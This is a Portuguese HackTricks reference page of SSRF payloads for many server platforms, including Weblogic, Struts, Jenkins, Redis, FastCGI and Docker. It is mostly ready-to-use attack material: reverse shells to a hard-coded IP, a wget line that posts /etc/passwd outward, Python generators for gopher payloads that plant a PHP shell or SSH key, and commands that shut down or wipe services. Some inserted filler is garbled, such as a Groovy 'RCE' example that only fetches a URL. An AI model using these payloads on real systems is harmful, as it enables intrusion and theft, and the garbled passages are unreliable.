34 KiB
Plataformas Vulneráveis a SSRF
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Esta seção foi copiada de https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/
Elasticsearch
Porta comummente utilizada: 9200
Quando o Elasticsearch é implantado internamente, geralmente não requer autenticação.
Se você tiver um SSRF parcialmente cego onde você pode determinar o código de status, verifique se os seguintes endpoints retornam um 200:
/_cluster/health
/_cat/indices
/_cat/health
Se você tiver um SSRF cego onde você pode enviar solicitações POST, você pode desligar a instância do Elasticsearch enviando uma solicitação POST para o seguinte caminho:
Observação: a API _shutdown
foi removida da versão 2.x e posterior do Elasticsearch. Isso só funciona no Elasticsearch 1.6 e abaixo:
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
Weblogic
Portas comumente vinculadas: 80, 443 (SSL), 7001, 8888
SSRF Canary: UDDI Explorer (CVE-2014-4210)
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Isso também funciona via GET:
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Este endpoint também é vulnerável à injeção de CRLF:
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
Resultará na seguinte solicitação:
root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
SSRF Canary: CVE-2020-14883
Retirado aqui.
Linux:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Plataformas vulneráveis a SSRF
A Server-Side Request Forgery (SSRF) é uma vulnerabilidade comum que permite que um invasor envie solicitações HTTP de um servidor para outros recursos internos ou externos. Essa vulnerabilidade pode ser explorada para acessar informações confidenciais, executar comandos no servidor ou até mesmo atacar outros sistemas.
Aqui estão algumas plataformas vulneráveis a SSRF no ambiente Windows:
IIS (Internet Information Services)
O IIS é um servidor web da Microsoft que é amplamente utilizado em ambientes Windows. Ele pode ser vulnerável a ataques de SSRF se não estiver configurado corretamente. Os invasores podem explorar essa vulnerabilidade para acessar recursos internos ou externos não autorizados.
ASP.NET
O ASP.NET é um framework de desenvolvimento web da Microsoft. Ele também pode ser vulnerável a ataques de SSRF se não for implementado corretamente. Os invasores podem explorar essa vulnerabilidade para enviar solicitações HTTP para outros recursos internos ou externos.
Serviços de nuvem
Além disso, vários serviços de nuvem baseados em Windows, como o Azure e o AWS, podem ser vulneráveis a ataques de SSRF se não forem configurados corretamente. Os invasores podem explorar essa vulnerabilidade para acessar recursos internos ou externos não autorizados nessas plataformas.
É importante lembrar que a segurança dessas plataformas depende da configuração correta e das práticas recomendadas de segurança. Os administradores de sistemas devem garantir que todas as configurações sejam revisadas e atualizadas regularmente para evitar vulnerabilidades de SSRF.
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Hashicorp Consul
Portas comumente vinculadas: 8500, 8501 (SSL)
O relatório pode ser encontrado aqui.
Shellshock
Portas comumente vinculadas: 80, 443 (SSL), 8080
Para testar efetivamente o Shellshock, você pode precisar adicionar um cabeçalho contendo a carga útil. Os seguintes caminhos CGI valem a pena tentar:
Lista curta de caminhos CGI para testar:
SSRF Canary: Shellshock via User Agent
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
Apache Druid
Portas comuns: 80, 8080, 8888, 8082
Veja a referência da API para o Apache Druid aqui.
Se você pode visualizar o código de status, verifique os seguintes caminhos para ver se eles retornam um código de status 200:
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
Tarefas de desligamento, requer que você adivinhe os IDs das tarefas ou o nome da fonte de dados:
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
Desligar supervisores nos Apache Druid Overlords:
curl -X POST http://localhost:8090/druid/indexer/v1/supervisor/{supervisorId}/shutdown
Este comando envia uma solicitação POST para desligar um supervisor específico nos Apache Druid Overlords. Substitua {supervisorId}
pelo ID do supervisor que você deseja desligar. Certifique-se de que o Apache Druid esteja em execução localmente na porta 8090.
/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
Apache Solr
Porta comummente utilizada: 8983
SSRF Canary: Parâmetro Shards
Para complementar o que o shubham está dizendo - a varredura para o Solr é relativamente fácil. Existe um parâmetro shards= que permite que você salte de SSRF para SSRF para verificar se está atingindo uma instância do Solr às cegas.
— Хавиж Наффи 🥕 (@nnwakelam) 13 de janeiro de 2021
Retirado daqui.
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
SSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
RCE via dataImportHandler
Pesquisa sobre RCE via dataImportHandler
PeopleSoft
Portas comumente vinculadas: 80,443 (SSL)
Retirado desta pesquisa aqui.
SSRF Canary: XXE #1
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
Plataformas Vulneráveis a SSRF (Server-Side Request Forgery)
Introdução
Server-Side Request Forgery (SSRF), ou Forjamento de Requisições do Lado do Servidor, é uma vulnerabilidade que permite que um atacante envie requisições a partir do servidor alvo para outros sistemas internos ou externos. Essa vulnerabilidade pode ser explorada para acessar recursos sensíveis, como arquivos internos, bancos de dados ou serviços na nuvem.
Neste documento, discutiremos algumas plataformas populares que são vulneráveis a SSRF e como explorar essa vulnerabilidade nelas.
Plataformas Vulneráveis
1. AWS EC2 Metadata Service
A AWS EC2 Metadata Service é um serviço fornecido pela Amazon Web Services (AWS) que permite que as instâncias EC2 obtenham informações sobre si mesmas, como metadados de instância, chaves SSH e tokens de acesso. No entanto, se a instância EC2 estiver vulnerável a SSRF, um atacante pode explorar essa vulnerabilidade para obter acesso não autorizado a essas informações confidenciais.
Para explorar essa vulnerabilidade, o atacante pode enviar uma requisição para o endpoint http://169.254.169.254/latest/meta-data/
para obter os metadados da instância EC2.
2. Google Cloud Metadata Service
O Google Cloud Metadata Service é um serviço semelhante ao AWS EC2 Metadata Service, fornecido pelo Google Cloud Platform (GCP). Ele permite que as instâncias do Google Compute Engine obtenham informações sobre si mesmas, como metadados de instância, chaves SSH e tokens de acesso. Da mesma forma que a AWS EC2 Metadata Service, se uma instância do Google Compute Engine estiver vulnerável a SSRF, um atacante pode explorar essa vulnerabilidade para obter acesso não autorizado a essas informações confidenciais.
Para explorar essa vulnerabilidade, o atacante pode enviar uma requisição para o endpoint http://metadata.google.internal/computeMetadata/v1/
para obter os metadados da instância do Google Compute Engine.
3. Azure Instance Metadata Service
O Azure Instance Metadata Service é um serviço fornecido pela Microsoft Azure que permite que as instâncias do Azure obtenham informações sobre si mesmas, como metadados de instância, chaves SSH e tokens de acesso. Da mesma forma que a AWS EC2 Metadata Service e o Google Cloud Metadata Service, se uma instância do Azure estiver vulnerável a SSRF, um atacante pode explorar essa vulnerabilidade para obter acesso não autorizado a essas informações confidenciais.
Para explorar essa vulnerabilidade, o atacante pode enviar uma requisição para o endpoint http://169.254.169.254/metadata/instance?api-version=2019-06-01
para obter os metadados da instância do Azure.
Conclusão
A SSRF é uma vulnerabilidade séria que pode permitir que um atacante acesse recursos sensíveis em sistemas internos ou externos. É importante que as organizações estejam cientes dessas vulnerabilidades e tomem medidas para mitigá-las, como validar e filtrar as entradas do usuário e restringir o acesso a serviços sensíveis.
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
Apache Struts
Portas comumente utilizadas: 80, 443 (SSL), 8080, 8443 (SSL)
Retirado daqui.
SSRF Canary: Struts2-016:
Adicione isso ao final de cada endpoint/URL interna que você conhece:
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
JBoss
Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)
Retirado daqui.
Canário SSRF: Implante WAR a partir de URL
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
Confluence
Portas comumente utilizadas: 80, 443 (SSL), 8080, 8443 (SSL)
SSRF Canary: Sharelinks (Versões do Confluence lançadas a partir de novembro de 2016 e anteriores)
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Ticket de Segurança Atlassian OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Jira
Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)
SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)
Ticket de Segurança Atlassian OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Ticket de Segurança da Atlassian JRASERVER-69793
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
Outros Produtos Atlassian
Portas comuns: 80, 443 (SSL), 8080, 8443 (SSL)
SSRF Canary: iconUriServlet (CVE-2017-9506):
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
Ticket de Segurança Atlassian OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
OpenTSDB
Porta comumente associada: 4242
Execução Remota de Código no OpenTSDB
Canário SSRF: curl via RCE
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
Execução Remota de Código no OpenTSDB 2.4.0
SSRF Canary: curl via RCE - CVE-2020-35476
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
Jenkins
Portas comuns: 80, 443 (SSL), 8080, 8888
Ótimo artigo aqui.
SSRF Canary: CVE-2018-1000600
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
RCE
Siga as instruções aqui para obter RCE via GET: Hacking Jenkins Parte 2 - Abusando da Meta Programação para RCE não autenticada!
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
RCE via Groovy
Remote Code Execution (RCE) via Groovy is a vulnerability that allows an attacker to execute arbitrary code on the target server by exploiting a Server-Side Request Forgery (SSRF) vulnerability.
Groovy is a powerful scripting language that runs on the Java Virtual Machine (JVM). It is often used in web applications to perform various tasks, such as data processing and automation.
When an application allows user-supplied input to be passed to a Groovy script without proper validation and sanitization, it can lead to an SSRF vulnerability. An attacker can craft a malicious request that tricks the server into making unintended requests to internal resources, such as the local file system or other internal services.
To exploit this vulnerability, an attacker needs to identify a vulnerable endpoint that accepts user-supplied input and passes it to a Groovy script. The attacker can then manipulate the input to make the server execute arbitrary code.
Here is an example of how an attacker can exploit an SSRF vulnerability to achieve RCE via Groovy:
import java.net.URL
def url = new URL(params.url) // User-supplied input
def connection = url.openConnection()
def inputStream = connection.getInputStream()
def reader = new BufferedReader(new InputStreamReader(inputStream))
def response = reader.readLine()
println(response) // Arbitrary code execution
In this example, the params.url
variable represents user-supplied input that is not properly validated. The attacker can provide a malicious URL that points to a script they control. The server will make a request to the attacker's script and execute the arbitrary code specified in the script.
To prevent RCE via Groovy, it is essential to validate and sanitize all user-supplied input before passing it to a Groovy script. Additionally, it is recommended to restrict the server's access to internal resources and implement proper access controls to prevent unauthorized requests.
It is important for developers and security professionals to be aware of this vulnerability and take appropriate measures to mitigate the risk. Regular security assessments, such as penetration testing, can help identify and address SSRF vulnerabilities before they can be exploited.
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
Painel Hystrix
Portas comumente vinculadas: 80, 443 (SSL), 8080
Spring Cloud Netflix, versões 2.2.x anteriores a 2.2.4, versões 2.1.x anteriores a 2.1.6.
SSRF Canary: CVE-2020-5412
/proxy.stream?origin=http://SSRF_CANARY/
W3 Total Cache
Portas comumente utilizadas: 80,443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary: CVE-2019-6715
Isso precisa ser uma requisição PUT:
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
SSRF Canary
O aviso para essa vulnerabilidade foi lançado aqui: Vulnerabilidade SSRF no W3 Total Cache
Este código PHP irá gerar um payload para o seu host de teste de SSRF Canary (substitua url
pelo seu host de teste):
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
Docker
Portas comumente vinculadas: 2375, 2376 (SSL)
Se você tiver um SSRF parcialmente cego, você pode usar os seguintes caminhos para verificar a presença da API do Docker:
/containers/json
/secrets
/services
RCE através da execução de uma imagem docker arbitrária
Existem algumas plataformas vulneráveis que permitem a execução de imagens Docker arbitrárias, o que pode levar a uma vulnerabilidade de execução remota de código (RCE). Essa vulnerabilidade ocorre quando um aplicativo permite que o usuário especifique uma imagem Docker para ser executada sem a devida validação ou restrições.
Um atacante pode explorar essa vulnerabilidade fornecendo uma imagem Docker maliciosa que contenha um payload para executar comandos arbitrários no servidor. Isso pode permitir que o atacante assuma o controle total do sistema e execute comandos com os privilégios do usuário que está executando o contêiner Docker.
É importante mencionar que essa vulnerabilidade só existe em plataformas que permitem a execução de imagens Docker arbitrariamente e não implementam medidas de segurança adequadas. Portanto, é fundamental manter todas as plataformas atualizadas e aplicar as melhores práticas de segurança para evitar a exploração dessa vulnerabilidade.
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
Substitua "alpine" por uma imagem arbitrária que você gostaria que o contêiner Docker executasse.
Gitlab Prometheus Redis Exporter
Portas comumente vinculadas: 9121
Essa vulnerabilidade afeta instâncias do Gitlab anteriores à versão 13.1.1. De acordo com a documentação do Gitlab, Prometheus e seus exportadores estão ativados por padrão, a partir do GitLab 9.0.
Esses exportadores fornecem um excelente método para um invasor se movimentar e atacar outros serviços usando o CVE-2020-13379. Um dos exportadores que é facilmente explorado é o Redis Exporter.
O seguinte endpoint permitirá que um invasor despeje todas as chaves no servidor Redis fornecido pelo parâmetro alvo:
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
Possível via Gopher
Redis
Porta comummente utilizada: 6379
Leitura recomendada:
RCE via Cron - Superfícies de Ataque Gopher
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
Plataformas vulneráveis a SSRF
A Server-Side Request Forgery (SSRF) é uma vulnerabilidade que permite que um invasor envie solicitações HTTP a partir de um servidor para outros recursos internos ou externos. Essa vulnerabilidade pode ser explorada para acessar informações confidenciais, executar comandos no servidor ou até mesmo atacar outros sistemas.
Existem várias plataformas que são conhecidas por serem vulneráveis a SSRF. Alguns exemplos incluem:
- Gopher: O protocolo Gopher é um protocolo de transferência de documentos que permite que os usuários acessem e recuperem recursos de servidores remotos. No entanto, o Gopher também pode ser explorado para realizar ataques SSRF, pois permite que os usuários especifiquem URLs arbitrárias para recuperar recursos.
É importante destacar que a lista acima não é exaustiva e existem outras plataformas que também podem ser vulneráveis a SSRF. É fundamental que os desenvolvedores e administradores de sistemas estejam cientes dessas vulnerabilidades e implementem medidas de segurança adequadas para mitigar os riscos associados a elas.
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
RCE via Shell Upload (PHP) - Resumo do Redis Getshell
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE via authorized_keys - Resumo do Getshell do Redis
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE no GitLab via protocolo Git
Ótimo artigo do Liveoverflow aqui.
Embora isso exija acesso autenticado ao GitLab para ser explorado, estou incluindo o payload aqui, pois o protocolo git
pode funcionar no alvo que você está hackeando. Este payload é apenas para referência.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Memcache
Porta comumente utilizada: 11211
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
Apache Tomcat
Portas comumente utilizadas: 80, 443 (SSL), 8080, 8443 (SSL)
Efetivo apenas contra o Tomcat 6:
CTF writeup utilizando essa técnica:
De XXE para RCE: Pwn2Win CTF 2018 Writeup
FastCGI
Portas comumente utilizadas: 80, 443 (SSL)
Isso foi retirado daqui.
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
Java RMI
Portas comumente vinculadas: 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999
Vulnerabilidades cegas de SSRF que permitem bytes arbitrários (baseados em gopher) podem ser usadas para realizar ataques de desserialização ou de código na componentes padrão do Java RMI (RMI Registry, Distributed Garbage Collector, Activation System). Uma descrição detalhada pode ser encontrada aqui. A listagem a seguir mostra um exemplo de geração de payload:
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.